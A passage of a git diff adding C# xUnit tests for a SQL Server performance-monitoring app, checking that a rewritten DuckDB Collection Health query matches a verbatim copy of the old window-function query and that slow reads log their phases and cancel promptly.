+        Assert.Contains(from, sql, StringComparison.Ordinal);
+        var mutated = sql.Replace(from, to, StringComparison.Ordinal);
+
+        await SeedStoreAsync();
+        var oracle = await RunAsync(CollectionHealthOracleSql.Lite);
+        var candidate = await RunAsync(mutated);
+
+        Assert.True(Differences(oracle, candidate).Count > 0, $"flipping the {what} did not change any answer: the parity comparison cannot see it");
+    }
+
+    [Fact]
+    public void ShippedStatement_HasNoRankingWindow_AndNoneOfTheRankNames()
+    {
+        var sql = LocalDataService.CollectionHealthSql;
+
+        Assert.DoesNotContain("ROW_NUMBER() OVER (PARTITION BY collector_name", sql, StringComparison.Ordinal);
+        foreach (var name in new[] { "note_rank", "error_rank", "slowest_rank", "recency_rank" })
+            Assert.DoesNotContain(name, sql, StringComparison.Ordinal);
+
+        /* No ROW_NUMBER anywhere in the statement proper and no ORDER BY ... LIMIT lookup, which DuckDB plans as
+           a window per lookup. The comments discuss both, so they are stripped first. */
+        var code = string.Join('\n', sql.Split('\n').Select(l => l.Contains("--", StringComparison.Ordinal) ? l[..l.IndexOf("--", StringComparison.Ordinal)] : l));
+        Assert.DoesNotContain("ROW_NUMBER", code, StringComparison.OrdinalIgnoreCase);
+        Assert.DoesNotContain("LIMIT", code, StringComparison.OrdinalIgnoreCase);
+        Assert.Contains("FROM v_collection_log", code, StringComparison.Ordinal);
+
+        /* The positive control for the negatives above: the oracle is the statement they are written against. */
+        Assert.Contains("ROW_NUMBER() OVER", CollectionHealthOracleSql.Lite, StringComparison.Ordinal);
+        Assert.Contains("PARTITION BY collector_name", CollectionHealthOracleSql.Lite, StringComparison.Ordinal);
+        foreach (var name in new[] { "note_rank", "error_rank", "slowest_rank", "recency_rank" })
+            Assert.Contains(name, CollectionHealthOracleSql.Lite, StringComparison.Ordinal);
+
+        /* And the lookups ARE keyed on the aggregate's instants, each with the window bound repeated. */
+        foreach (var key in new[] { "h.last_run_time", "h.last_failure_text_time", "h.last_note_time", "h.dearest_item_ms", "h.last_streak_break_time" })
+            Assert.Contains("= " + key, sql, StringComparison.Ordinal);
+    }
+
+    /// <summary>The physical plan as JSON: one node per operator, each with a name and its extra_info.</summary>
+    private async Task<JsonElement> ExplainAsync(string sql)
+    {
+        var result = await RunAsync("EXPLAIN (FORMAT JSON) " + sql);
+        var json = Convert.ToString(result.Rows.Single()[^1], CultureInfo.InvariantCulture)!;
+        var tmp = Environment.GetEnvironmentVariable("H5371_PLAN_DUMP");
+        if (!string.IsNullOrEmpty(tmp)) File.AppendAllText(tmp, json + Environment.NewLine);
+        return JsonDocument.Parse(json).RootElement.Clone();
+    }
+
+    private static IEnumerable<JsonElement> Nodes(JsonElement element)
+    {
+        if (element.ValueKind == JsonValueKind.Array)
+        {
+            foreach (var item in element.EnumerateArray())
+                foreach (var n in Nodes(item))
+                    yield return n;
+        }
+        else if (element.ValueKind == JsonValueKind.Object)
+        {
+            if (element.TryGetProperty("name", out _))
+                yield return element;
+            if (element.TryGetProperty("children", out var children))
+                foreach (var n in Nodes(children))
+                    yield return n;
+        }
+    }
+
+    private static List<string> OperatorNames(JsonElement plan) =>
+        [.. Nodes(plan).Select(n => n.GetProperty("name").GetString() ?? "")];
+
+    [Fact]
+    public async Task ShippedPlan_HasNoWindowOperator_WhereTheOldOneHadFour()
+    {
+        await SeedStoreAsync();
+
+        var oldOps = OperatorNames(await ExplainAsync(CollectionHealthOracleSql.Lite));
+        var newOps = OperatorNames(await ExplainAsync(LocalDataService.CollectionHealthSql));
+
+        /* The positive control: the same check finds the windows in the old plan. */
+        Assert.True(oldOps.Count(o => o.Contains("WINDOW", StringComparison.Ordinal)) >= 1, string.Join(", ", oldOps));
+        Assert.DoesNotContain(newOps, o => o.Contains("WINDOW", StringComparison.Ordinal));
+        Assert.DoesNotContain(newOps, o => o.Contains("TOP_N", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task ShippedPlan_EveryParquetScanCarriesTheWindowFilter()
+    {
+        await SeedStoreAsync();
+
+        var plan = await ExplainAsync(LocalDataService.CollectionHealthSql);
+        var scans = Nodes(plan).Where(n => (n.GetProperty("name").GetString() ?? "").Contains("PARQUET", StringComparison.Ordinal)).ToList();
+
+        Assert.NotEmpty(scans);
+        foreach (var scan in scans)
+        {
+            Assert.True(scan.TryGetProperty("extra_info", out var info), scan.GetRawText());
+            Assert.Contains("collection_time", info.GetRawText(), StringComparison.Ordinal);
+        }
+    }
+}
diff --git a/Lite.Tests/CollectionHealthOracleSql.cs b/Lite.Tests/CollectionHealthOracleSql.cs
new file mode 100644
index 0000000000..77528bc374
--- /dev/null
+++ b/Lite.Tests/CollectionHealthOracleSql.cs
@@ -0,0 +1,289 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// Lite's Collection Health statement as it stood before #5371, kept VERBATIM as a test-only oracle. It ranked
+/// every run of the 7-day window four times (<c>ROW_NUMBER() OVER (PARTITION BY collector_name ...)</c>) to reach the
+/// newest row of four classes. <c>CollectionHealthKeyedLookupParityTests</c> runs it and the shipped statement over
+/// the same seeded store and requires every column of every row to agree, so the aggregates-plus-keyed-lookups
+/// rewrite is held to the old statement's answers (and its tie-breaks) rather than to a reading of them.
+///
+/// <para>Do not "fix" this text: its job is to be the old behaviour. The comments inside are the old statement's own.</para>
+/// </summary>
+internal static class CollectionHealthOracleSql
+{
+    internal const string Lite = $@"
+SELECT
+    collector_name,
+    COUNT(*) AS total_runs,
+    -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
+    -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
+    -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
+    -- the shared predicate is for: NULL under this NOT would have dropped it.
+    SUM(CASE WHEN status = 'SUCCESS'
+              AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
+             THEN 1 ELSE 0 END) AS success_count,
+    SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
+    AVG(duration_ms) AS avg_duration_ms,
+    -- #2460: the mean above describes a collector whose runs all cost about the same, and says
+    -- nothing true about one whose runs come in two sizes. query_store on a dense shard reported a
+    -- 13,834 ms average over 1,155 runs where 958 of them yielded nothing and cost ~36 ms, which
+    -- puts the other 197 at ~80,900 ms EACH — each one on its own larger than the whole 60,000 ms
+    -- sweep budget. duration_ms has been written per run since the table existed; nothing had ever
+    -- read it as anything but a mean.
+    --
+    -- p95 rather than the max for the number a decision is made from: a max is one run, so a single
+    -- pathological cycle would make a collector look permanently terrible for the rest of the
+    -- window. p95 also scales itself to the sample — over 3,500 runs it discards the one bad cycle,
+    -- and over the six runs a daily collector gets in a week it lands on the max, which is right,
+    -- because with six samples there is no outlier anyone can afford to throw away. DISC rather
+    -- than CONT so the answer is a duration some run actually took instead of an interpolation
+    -- between the two modes, which would be a number describing no run at all — the exact defect
+    -- this column exists to end. Both engines ignore NULL duration_ms here, as AVG already does.
+    MAX(duration_ms) AS max_duration_ms,
+    PERCENTILE_DISC(0.95) WITHIN GROUP (ORDER BY duration_ms) AS p95_duration_ms,
+    -- SKIPPED counts as a healthy run (dedup / version-gated collectors no-op without being stale)
+    MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
+    MAX(collection_time) AS last_run_time,
+    -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest one. The
+    -- status re-check is load-bearing rather than belt-and-braces: when no failing run in the window
+    -- carried text, error_rank = 1 falls through to the newest row of ANY class, and without it a
+    -- SUCCESS row's note could surface here as a fake last error.
+    -- #3240: EXTENSION_MISSING is in the exemplar set for twin-parity with Darling's reads — its stored
+    -- sentence IS the remedy there. Lite's SQL Server collectors never write the status, so on this SKU
+    -- the branch is inert.
+    MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error,
+    -- The newest failure OUTRIGHT, text or not: when did this last FAIL is about the run, not the
+    -- message. It can only name a different row than last_error if a failure was written with no text.
+    MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
+    SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
+    -- YIELDED = the 1s LOCK_TIMEOUT guard fired (#1805): deliberate, benign for collection,
+    -- counted apart from errors because clustering here is a signal about the TARGET's lock
+    -- contention rather than a monitoring fault.
+    SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+    -- #1837: the note a SUCCEEDING run can leave behind (an enumeration that yielded 0 items, items
+    -- whose enumeration probe failed). Gated on SUCCESS specifically, rather than on every non-failure status:
+    -- the runners attach a note only to the SUCCESS write, and the looser complement would drag
+    -- SESSION_MISSING and CANCELLED messages into a column whose whole claim is that it is NOT an
+    -- error. Display text only: no band, no count, no threshold reads it, and a legitimately empty
+    -- target (no user databases, no AGs) stays HEALTHY exactly as before.
+    MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note,
+    -- How many of the window's runs carried one. note_count = total_runs is the persistently-empty
+    -- signal the operator is actually looking for: EVERY run this week came back with nothing.
+    COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+    -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this target
+    -- actually HAVE user databases? Zero items on a server with none is legitimate and stays quiet;
+    -- zero items on a server that HAS them is a login that cannot enter any, or a filter that
+    -- swallowed everything. database_size_stats rather than database_config for three reasons: it runs
+    -- on the scheduled loop (60 min) where database_config is on-load and can age past this window on
+    -- a long-running install; it is indexed on (server_id, collection_time) where database_config has
+    -- no index at all; and it reads sys.master_files, so it still sees databases the monitoring login
+    -- cannot ENTER — which is exactly the case being diagnosed. database_id > 4 excludes the system
+    -- databases, tempdb included: the size collector takes every ONLINE database, so a bare row check
+    -- would be true on every server alive. A NULL database_id is an Azure sibling row (#2643/#3262):
+    -- sys.resource_stats carries no id, and it bills only USER databases, so those rows are inventory
+    -- too — without the IS NULL arm a master-connected Azure target with fifty user databases would
+    -- read as having none.
+    --
+    -- The inventory window is the health read's OWN ($2) — no second parameter, and an inventory that
+    -- aged out says nothing rather than something stale. Uncorrelated, so both engines evaluate it
+    -- once per query (a Postgres InitPlan) instead of per row, and it needs no GROUP BY entry and no
+    -- join. Feeds display text only, through the shared formatter; the banding never sees it.
+    CASE
+        WHEN EXISTS
+             (
+                 SELECT 1
+                 FROM v_database_size_stats
+                 WHERE server_id = $1
+                 AND   collection_time >= $2
+                 AND   (database_id > 4 OR database_id IS NULL)
+             )
+        THEN 1
+        ELSE 0
+    END AS has_user_databases,
+    -- #2472: the per-database fan-out, described for ONE run — the dearest one in the window. Five
+    -- collectors run once per database and the run writes a single blended duration_ms, so eight
+    -- databases at 10.1s and one at 62s beside seven at 2.7s are the same 80,900 ms and want
+    -- opposite fixes. (No double quotes anywhere in this string: it is a verbatim literal, where a
+    -- lone quote ends it.) The four parts compose into slowest_item_ms * fanout_items /
+    -- slowest_run_duration_ms, which is 1.0 for an even fan-out and 6.1 for the dominated example.
+    -- All four come from the SAME row via slowest_rank: parts taken from different runs would
+    -- compose into a ratio describing no run that ever happened. Twins Darling's read.
+    MAX(CASE WHEN slowest_rank = 1 THEN fanout_item_count END) AS fanout_items,
+    MAX(CASE WHEN slowest_rank = 1 THEN slowest_item END) AS slowest_item,
+    MAX(CASE WHEN slowest_rank = 1 THEN slowest_item_ms END) AS slowest_item_ms,
+    MAX(CASE WHEN slowest_rank = 1 THEN duration_ms END) AS slowest_run_duration_ms,
+    -- #2804: runs the #2673 wall-clock budget abandoned. APPENDED, never inserted — this result set
+    -- is read positionally and Darling's CollectionHealthSql mirrors these ordinals, so a mid-list
+    -- insert would silently re-map every later column in whichever surface was not edited with it.
+    --
+    -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
+    -- window can still hold cycles written before #2803 gave abandonment its own status:
+    -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
+    -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
+    -- filter correct against current writes and silently wrong against older ones, failing in
+    -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
+    -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
+    -- for query_store), so equality against one rendered sentence matches one collector.
+    SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
+             THEN 1 ELSE 0 END) AS abandoned_count,
+    -- #3010: the newest DENIAL on its own, which is what dates the last_error slot above.
+    -- last_error_time cannot stand in for it -- that column is a MAX over ERROR and PERMISSIONS
+    -- together, so on a collector carrying both it hands a reader an error's instant and lets them
+    -- call it a denial. Compared against last_success_time this separates a collector still being
+    -- refused from one whose refusals all predate a later success. APPENDED, and Darling's
+    -- CollectionHealthSql mirrors the ordinal, because both are read positionally.
+    MAX(CASE WHEN status = 'PERMISSIONS' THEN collection_time END) AS last_denied_time,
+    -- #3017: what the spend BOUGHT. Every other statistic on a health row describes cost -- total_runs,
+    -- the three durations, and the sweep-pressure roll-up built from them -- and the rows figure lived
+    -- on a different tool over a different (hourly, fleet-wide) series, so correlating spend against
+    -- output was a join a reader had to know to make. Read from THIS query's own window so cost and
+    -- output cannot describe different runs, the same reason #3010's two instants come out of one
+    -- aggregate. COALESCE so a zero is unambiguous at the store: without it a collector whose every
+    -- rows_collected is NULL returns NULL, which a reader would have to guess between not-measured and
+    -- stored-nothing, and the whole point is that the second becomes a fact rather than an absence.
+    -- APPENDED, and Darling's CollectionHealthSql mirrors both ordinals, because both are read
+    -- positionally.
+    COALESCE(SUM(rows_collected), 0) AS rows_stored,
+    -- The denominator's partner, and the honest half of a cost/output pair: 12 rows over 3 of 79,333
+    -- runs is a different collector from 12 rows over all of them. get_pg_blocking already reports
+    -- captures_with_blocking beside captures_total off this same rows_collected > 0 test.
+    SUM(CASE WHEN rows_collected > 0 THEN 1 ELSE 0 END) AS runs_with_rows,
+    -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed — the
+    -- EXTENSION_MISSING status Darling's fault mapper split out of PERMISSIONS. Lite's SQL Server
+    -- collectors never write it, so this counts 0 on this SKU; selected anyway because the two health
+    -- reads are ordinal twins and the shared classifier takes the count. APPENDED, read positionally.
+    SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
+    -- #3754: runs whose XE session was missing or could not be created - Darling's SESSION_MISSING
+    -- status. Lite never writes it: its long-query XE reader swallows a permission-denied session read to
+    -- zero rows, and an ensure failure (and, since #4731, a blocked-process or deadlock read failure)
+    -- classifies PERMISSIONS / ERROR through XeSessionEnsureException,
+    -- so this counts 0 on this SKU; selected anyway because the two health reads are ordinal twins and
+    -- the shared output finding takes the count beside error_count as the runs that could not read.
+    -- Counted apart from error_count on purpose - it is not fed to the band. APPENDED, read positionally.
+    SUM(CASE WHEN status = 'SESSION_MISSING' THEN 1 ELSE 0 END) AS session_missing_count,
+    -- #3819: the three columns that tell a collector which STOPPED producing apart from one that never
+    -- produced here. Darling's twin carries the same three at the same ordinals; both MCP surfaces read
+    -- this result set positionally. Lite's SQL Server collectors write PERMISSIONS but neither of the
+    -- other two skip words, so on this SKU the streak this detects is a permission that was granted and
+    -- has been revoked since -- a narrower population than Darling's, and the same regression.
+    --
+    -- current_status is what the collector is reporting NOW, for the finding's prose. Taken at
+    -- recency_rank = 1 rather than as a MAX over the skip rows: MAX is lexicographic, so on a streak whose
+    -- status changed it would name whichever word sorts highest instead of the one being reported.
+    MAX(CASE WHEN recency_rank = 1 THEN status END) AS current_status,
+    -- The instant the current skip streak began AFTER: the newest run that was NOT a named skip. The
+    -- vocabulary is interpolated from CollectorRuntimePrecondition, which is where each of those statuses
+    -- is declared, so this cannot ask about three of four after a fourth is split out. A NULL status
+    -- counts as non-skip: it is not one of the declared skip words, and reading it as one would let an
+    -- unwritten status manufacture a streak.
+    MAX(CASE WHEN status IS NULL
+              OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
+             THEN collection_time END) AS last_non_skip_time,
+    -- The newest run that stored anything. Off the same rows_collected > 0 test as runs_with_rows above,
+    -- so productive means one thing on this row. Compared against last_non_skip_time it says the
+    -- productivity sits BEFORE the streak rather than inside it, which is the ORDER that makes this a
+    -- regression rather than two unrelated facts.
+    MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+    -- #3885: how many runs, counting back from the NEWEST, were SUCCESS with zero rows and nothing else.
+    -- The second regression class, and the one #3819 could not see: it keys on a skip STATUS, and a
+    -- collector whose source went away while its query stayed VALID records the most reassuring word the
+    -- vocabulary has. Darling's twin carries this at the same ordinal; both MCP surfaces read this result
+    -- set positionally. The class is not Darling-specific -- Lite dedups on the same watermarks and its
+    -- collectors read the same sources -- so this SKU detects it identically rather than counting 0.
+    --
+    -- Exact, and free: recency_rank already exists in the subquery below (#3819 added it for
+    -- current_status), so this buys the streak's true width with no new window function and no new sort.
+    -- MIN of the rank of the newest run that BREAKS the streak, minus one, is the count of runs ahead of
+    -- it; NULL (nothing breaks it -- every run in the window is a zero-row success) falls back to COUNT(*),
+    -- which is that same count. The abandonment exclusion is success_count's own (#2926): a pre-#2803
+    -- abandoned cycle is stored as SUCCESS with zero rows plus the budget note, which is data LOSS rather
+    -- than a source that went quiet. APPENDED, read positionally.
+    COALESCE(
+        MIN(CASE WHEN NOT (status = 'SUCCESS'
+                           AND COALESCE(rows_collected, 0) = 0
+                           AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
+                 THEN recency_rank END) - 1,
+        COUNT(*)) AS trailing_zero_row_success_runs,
+    -- #4748: the note the collector's NEWEST run left, which is not last_note above. last_note is the newest
+    -- run that CARRIED a note (note_rank), so a clean run after a partial-failure cycle still shows the
+    -- older cycle's note there; the band must not read that, because the loss it names is not the
+    -- collector's current state. recency_rank = 1 is the newest run of any status, and the SUCCESS gate
+    -- matches last_note's (only the SUCCESS write carries a note). APPENDED, read positionally; Darling's
+    -- twin carries it at the same ordinal.
+    MAX(CASE WHEN recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note
+FROM
+(
+    -- #1855: rank each class of message newest-first so the two exemplar columns above can take the
+    -- LATEST one instead of the lexicographically greatest. Ordering on whether the class's CASE came
+    -- back empty puts every row that carries such a message ahead of every row that does not, so rank 1
+    -- is the newest one that has text — and a later clean run no longer blanks a note the window still
+    -- holds. MAX() was never wrong about WHICH rows to consider, only about which of them wins, and
+    -- text does not sort like the number #1837's probe note carries: 12 item(s) sorts below 9 item(s).
+    -- collection_time settles it; error_message DESC only breaks an exact-timestamp tie, and breaks it
+    -- identically on DuckDB and Postgres, which binary-vs-locale collation would not.
+    SELECT
+        collector_name,
+        collection_time,
+        duration_ms,
+        status,
+        error_message,
+        -- #2926: the abandonment predicate above reads it. Projected here for the same reason
+        -- #2472's three columns are: this subquery ENUMERATES its columns, so an aggregate
+        -- outside naming one it does not carry fails at the STORE and nowhere earlier.
+        rows_collected,
+        -- #2472: projected here because this subquery enumerates its columns rather than SELECT *-ing
+        -- them, so an aggregate outside that names a column the inner query does not carry fails at the
+        -- store and nowhere earlier.
+        fanout_item_count,
+        slowest_item,
+        slowest_item_ms,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY collector_name
+            ORDER BY (CASE WHEN status = 'SUCCESS' THEN error_message END) IS NULL,
+                     collection_time DESC,
+                     error_message DESC
+        ) AS note_rank,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY collector_name
+            ORDER BY (CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) IS NULL,
+                     collection_time DESC,
+                     error_message DESC
+        ) AS error_rank,
+        -- #2472: the window's dearest single ITEM, and with it the run that carried it. Ranked on
+        -- slowest_item_ms rather than duration_ms because the question is which database is expensive,
+        -- not which cycle was.
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY collector_name
+            ORDER BY slowest_item_ms IS NULL,
+                     slowest_item_ms DESC,
+                     collection_time DESC
+        ) AS slowest_rank,
+        -- #3819: newest run first, so current_status above can take the status the collector is reporting
+        -- NOW. status DESC only breaks an exact-timestamp tie, and breaks it identically on DuckDB and
+        -- Postgres -- the same reason the ranks above tie-break on error_message.
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY collector_name
+            ORDER BY collection_time DESC,
+                     status DESC
+        ) AS recency_rank
+    FROM v_collection_log
+    WHERE server_id = $1
+    AND   collection_time >= $2
+) runs
+GROUP BY collector_name
+ORDER BY collector_name";
+}
diff --git a/Lite.Tests/CollectionHealthReadBehaviourTests.cs b/Lite.Tests/CollectionHealthReadBehaviourTests.cs
new file mode 100644
index 0000000000..c0650a23a1
--- /dev/null
+++ b/Lite.Tests/CollectionHealthReadBehaviourTests.cs
@@ -0,0 +1,784 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5371: the three things a slow Collection Health read lacked. Nothing in the app could say where such a read spent
+/// its time (the phase line), nothing stopped a superseded one (the token), and every timer tick re-ran the seven-day
+/// aggregate (the 30 second memo).
+///
+/// <para>The cancellation tests run against a real DuckDB through the real read, with only the statement's text
+/// swapped for one that cannot finish, because the aggregate over a test-sized store takes milliseconds. The bound
+/// they assert is generous against a 1e12-row cross product: an interrupt that did nothing would sit in the statement
+/// for minutes, not seconds.</para>
+/// </summary>
+[Collection("timing")]
+public sealed class CollectionHealthReadBehaviourTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 5371;
+    private const int OtherServerId = 5372;
+
+    /// <summary>A statement that runs for minutes: 1e12 pairs. It takes the read's two parameters, so the read binds it unchanged.</summary>
+    private const string NeverFinishesSql = @"
+SELECT sum(a.range * b.range) + CAST($1 AS BIGINT) + CAST(EXTRACT(epoch FROM CAST($2 AS TIMESTAMP)) AS BIGINT)
+FROM range(1000000) a, range(1000000) b";
+
+    private static readonly TimeSpan InterruptBound = TimeSpan.FromSeconds(5);
+
+    private readonly DuckDbInitializer _duckDb;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public CollectionHealthReadBehaviourTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    /* ---------------------------------- phase timing ---------------------------------- */
+
+    [Fact]
+    public void PhaseLine_ASlowPhase_ProducesOneLineNamingItAndTheOtherFour()
+    {
+        var timer = new ReadPhaseTimer();
+        timer.Add(ReadPhaseTimer.LockWait, 12);
+        timer.Add(ReadPhaseTimer.Open, 3);
+        timer.Add(ReadPhaseTimer.Execute, 900);
+        timer.Add(ReadPhaseTimer.RowRead, 2);
+
+        var lines = new List<(string Name, double Total, string Context)>();
+        timer.Report("GetCollectionHealthAsync", (name, total, context) => lines.Add((name, total, context)));
+
+        var line = Assert.Single(lines);
+        Assert.Equal(917, line.Total);
+        Assert.Contains("lock wait 12 ms", line.Context, StringComparison.Ordinal);
+        Assert.Contains("open 3 ms", line.Context, StringComparison.Ordinal);
+        /* The log line says what the execute number contains: DuckDB.NET's Prepare() binds nothing, so the bind cost is here. */
+        Assert.Contains("execute 900 ms (prepare and bind included)", line.Context, StringComparison.Ordinal);
+        Assert.Contains("row read 2 ms", line.Context, StringComparison.Ordinal);
+        Assert.DoesNotContain("prepare 0 ms", line.Context, StringComparison.Ordinal);
+        Assert.DoesNotContain("prepare 1 ms", line.Context, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PhaseLine_ACancelledRead_ProducesOneCancelledLine_NotASlowMethodBlock()
+    {
+        var timer = new ReadPhaseTimer();
+        timer.Add(ReadPhaseTimer.LockWait, 4);
+        timer.Add(ReadPhaseTimer.Execute, 900);
+
+        var lines = new List<(string Name, double Total, string Context)>();
+        timer.Report("GetCollectionHealthAsync", (name, total, context) => lines.Add((name, total, context)), cancelled: true);
+
+        var line = Assert.Single(lines);
+        Assert.StartsWith("GetCollectionHealthAsync cancelled after 904 ms (superseded)", line.Context, StringComparison.Ordinal);
+        /* "phases:" is the SLOW METHOD block's context; a superseded read must not read as a slow one. */
+        Assert.DoesNotContain("phases:", line.Context, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void PhaseLine_ACancelledReadUnderTheThreshold_LogsNothing()
+    {
+        var timer = new ReadPhaseTimer();
+        timer.Add(ReadPhaseTimer.Execute, 40);
+
+        var lines = new List<string>();
+        timer.Report("GetCollectionHealthAsync", (name, total, context) => lines.Add(context), cancelled: true);
+
+        Assert.Empty(lines);
+    }
+
+    [Fact]
+    public void PhaseLine_AFastRead_LogsNothing()
+    {
+        var timer = new ReadPhaseTimer();
+        timer.Add(ReadPhaseTimer.Execute, 5);
+
+        var lines = new List<string>();
+        timer.Report("GetCollectionHealthAsync", (name, total, context) => lines.Add(context));
+
+        Assert.Empty(lines);
+    }
+
+    [Theory]
+    [InlineData("GetCollectionHealthAsync")]
+    [InlineData("GetRecentCollectionLogAsync")]
+    public async Task PhaseLine_ALiveReadBehindAHeldLock_NamesTheLockWait(string readName)
+    {
+        var service = new LocalDataService(_duckDb);
+        var lines = new List<(string Name, double Total, string Context)>();
+        service.CollectionHealthPhaseSink = (name, total, context) => { lock (lines) lines.Add((name, total, context)); };
+
+        var release = new ManualResetEventSlim();
+        var held = HoldWriteLock(_duckDb, release, out var acquired);
+        await acquired.WaitAsync(TimeSpan.FromSeconds(30));
+        var waitingBefore = DuckDbInitializer.WaitingReadCountForTests;
+        Task read = readName == "GetCollectionHealthAsync"
+            ? Task.Run(() => service.GetCollectionHealthAsync(ServerId))
+            : Task.Run(() => service.GetRecentCollectionLogAsync(ServerId));
+
+        /* Signalled, not slept: the read is known to be parked on the lock once the store counts one more waiting reader. A fixed
+           delay left a starved thread pool free to start the read after the writer let go, with nothing to wait on. The
+           lock is then held a further second, so the wait the read reports cannot be shorter than that. */
+        var deadline = Stopwatch.StartNew();
+        while (DuckDbInitializer.WaitingReadCountForTests <= waitingBefore)
+        {
+            Assert.True(deadline.Elapsed < TimeSpan.FromSeconds(30), "the read never reached the lock wait");
+            await Task.Delay(5);
+        }
+        await Task.Delay(1000);
+        release.Set();
+        await held;
+        await read;
+
+        var line = Assert.Single(lines);
+        Assert.Equal(readName, line.Name);
+        Assert.True(line.Total >= 500, $"total {line.Total} ms");
+        var lockWaitMs = double.Parse(line.Context.Split("lock wait ")[1].Split(' ')[0], System.Globalization.CultureInfo.InvariantCulture);
+        Assert.True(lockWaitMs >= 500, line.Context);
+    }
+
+    /* ---------------------------------- cancellation ---------------------------------- */
+
+    [Fact]
+    public async Task Cancel_MidStatement_InterruptsTheRunningQueryWithinTheBound_AndFreesTheLock()
+    {
+        var service = new LocalDataService(_duckDb) { CollectionHealthSqlOverride = NeverFinishesSql };
+        using var cts = new CancellationTokenSource();
+
+        /* The read blocks its caller until the engine answers, as the tab's does, so it runs on the pool like the tab's. */
+        var read = Task.Run(() => service.GetCollectionHealthAsync(ServerId, cancellationToken: cts.Token));
+        await Task.Delay(750);
+        Assert.False(read.IsCompleted, "the statement must still be running when the token fires");
+
+        var sw = Stopwatch.StartNew();
+        cts.Cancel();
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => read.WaitAsync(TimeSpan.FromSeconds(60)));
+        sw.Stop();
+
+        Assert.True(sw.Elapsed < InterruptBound, $"interrupt took {sw.ElapsedMilliseconds} ms");
+        AssertLockIsFree();
+    }
+
+    [Fact]
+    public async Task Cancel_MidStatement_LeavesTheStoreReadableAfterwards()
+    {
+        await SeedAsync(ServerId, "query_store", MinutesAgo(5));
+        var slow = new LocalDataService(_duckDb) { CollectionHealthSqlOverride = NeverFinishesSql };
+        using var cts = new CancellationTokenSource(TimeSpan.FromMilliseconds(500));
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => slow.GetCollectionHealthAsync(ServerId, cancellationToken: cts.Token).WaitAsync(TimeSpan.FromSeconds(60)));
+
+        var rows = await new LocalDataService(_duckDb).GetCollectionHealthAsync(ServerId);
+        Assert.Equal("query_store", Assert.Single(rows).CollectorName);
+    }
+
+    [Fact]
+    public async Task Cancel_WhileWaitingBehindAWriter_ThrowsPromptly_ForTheHealthLogDurationTrendsAndProbeReads_AndFreesTheLock()
+    {
+        var service = new LocalDataService(_duckDb);
+        var release = new ManualResetEventSlim();
+        var held = HoldWriteLock(_duckDb, release, out var acquired);
+        try
+        {
+            await acquired.WaitAsync(TimeSpan.FromSeconds(30));
+
+            foreach (var read in new Func<CancellationToken, Task>[]
+            {
+                ct => service.GetCollectionHealthAsync(ServerId, cancellationToken: ct),
+                ct => service.GetRecentCollectionLogAsync(ServerId, cancellationToken: ct),
+                ct => service.GetCollectorDurationTrendAsync(ServerId, cancellationToken: ct),
